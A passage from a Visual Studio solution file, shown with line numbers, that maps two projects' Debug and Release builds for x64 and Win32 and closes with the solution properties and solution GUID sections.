{E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Release|x86.ActiveCfg = Release|Win32 25 | {E75DCF6C-9B6D-49C8-96D7-0003C127B449}.Release|x86.Build.0 = Release|Win32 26 | {510160D0-966C-4382-8A59-C6306C8624A7}.Debug|x64.ActiveCfg = Debug|x64 27 | {510160D0-966C-4382-8A59-C6306C8624A7}.Debug|x64.Build.0 = Debug|x64 28 | {510160D0-966C-4382-8A59-C6306C8624A7}.Debug|x86.ActiveCfg = Debug|Win32 29 | {510160D0-966C-4382-8A59-C6306C8624A7}.Debug|x86.Build.0 = Debug|Win32 30 | {510160D0-966C-4382-8A59-C6306C8624A7}.Release|x64.ActiveCfg = Release|x64 31 | {510160D0-966C-4382-8A59-C6306C8624A7}.Release|x64.Build.0 = Release|x64 32 | {510160D0-966C-4382-8A59-C6306C8624A7}.Release|x86.ActiveCfg = Release|Win32 33 | {510160D0-966C-4382-8A59-C6306C8624A7}.Release|x86.Build.0 = Release|Win32 34 | EndGlobalSection 35 | GlobalSection(SolutionProperties) = preSolution 36 | HideSolutionNode = FALSE 37 | EndGlobalSection 38 | GlobalSection(ExtensibilityGlobals) = postSolution 39 | SolutionGuid = {AA32DEA9-85D3-447D-820E-C6ACA3AD0CBD} 40 | EndGlobalSection 41 | EndGlobal 42 | --------------------------------------------------------------------------------